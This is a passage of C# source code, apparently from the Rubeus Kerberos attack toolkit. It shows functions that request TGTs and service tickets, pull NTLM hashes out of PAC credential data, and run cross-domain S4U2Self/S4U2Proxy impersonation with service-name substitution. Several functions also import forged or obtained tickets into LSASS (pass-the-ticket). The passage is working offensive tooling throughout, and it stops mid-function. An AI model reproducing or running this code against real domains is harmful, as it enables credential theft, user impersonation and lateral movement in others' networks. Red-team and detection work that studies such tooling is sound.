Networking.SendBytes(dcIP, 88, u2uBytes); if (u2uResponse == null) { return(null); } AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); // check the response value int responseTag = u2uResponseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { // parse the response to an TGS-REP and get the PAC TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); PACTYPE pt = u2uEncTicketPart.GetPac(key); // look for the credential information and print foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is PacCredentialInfo ci) { Console.WriteLine(" CredentialInfo :"); Console.WriteLine(" Version : {0}", ci.Version); Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); if (ci.CredentialInfo.HasValue) { Console.WriteLine(" CredentialData :"); Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); foreach (var credData in ci.CredentialInfo.Value.Credentials) { string hash = ""; if ("NTLM".Equals(credData.PackageName.ToString())) { int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); if (flags == 3) { hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } else { hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } } else { hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); } Console.WriteLine(" {0} : {1}", credData.PackageName, hash); } } else { Console.WriteLine(" CredentialData : *** NO KEY ***"); } } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } return(kirbiBytes); }
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0) { Console.WriteLine("[*] Action: Ask TGT\r\n"); Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if (luid != 0) { Console.WriteLine("[*] Target LUID : {0}", luid); } string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { Console.WriteLine("[+] TGT request successful!"); // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype); return(null); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (ptt || (luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); return(null); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); return(null); } }
public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false) { if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); } string dcIP = Networking.GetDCIP(domainController, false); if (String.IsNullOrEmpty(dcIP)) { throw new RubeusException("[X] Unable to get domain controller address"); } byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode()); if (response == null) { throw new RubeusException("[X] No answer from domain controller"); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { if (verbose) { Console.WriteLine("[+] TGT request successful!"); } // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); throw new KerberosErrorException("", error); } else { throw new RubeusException("[X] Unknown application tag: " + responseTag); } }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = rep.crealm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
// to perform the 2 S4U2Proxy requests private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false, string createnetonly = null, bool show = false) { string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; if (cross) { s4u2proxyReq.req_body.realm = targetDomain; } else { s4u2proxyReq.req_body.realm = domain; } string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (ptt && cross) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } return(rep.ticket); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
// to perform the 2 S4U2Self requests private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false, string createnetonly = null, bool show = false) { // die if can't get IP of DC string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain); Console.WriteLine("[*] Sending cross realm S4U2Self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] cross realm S4U2Self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we're rewriting the S4U2Self sname, change it here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } return(kirbi); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static KRB_CRED CrossDomainKRBTGT(string userName, string domain, string domainController, string targetDomain, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType) { // die if can't get IP of DC string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Requesting the cross realm 'TGS' for {0} from {1}", targetDomain, domainController); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, targetDomain, ticket, clientKey, etype, requestEType); Console.WriteLine("[*] Sending cross realm TGS request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] cross realm TGS success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE 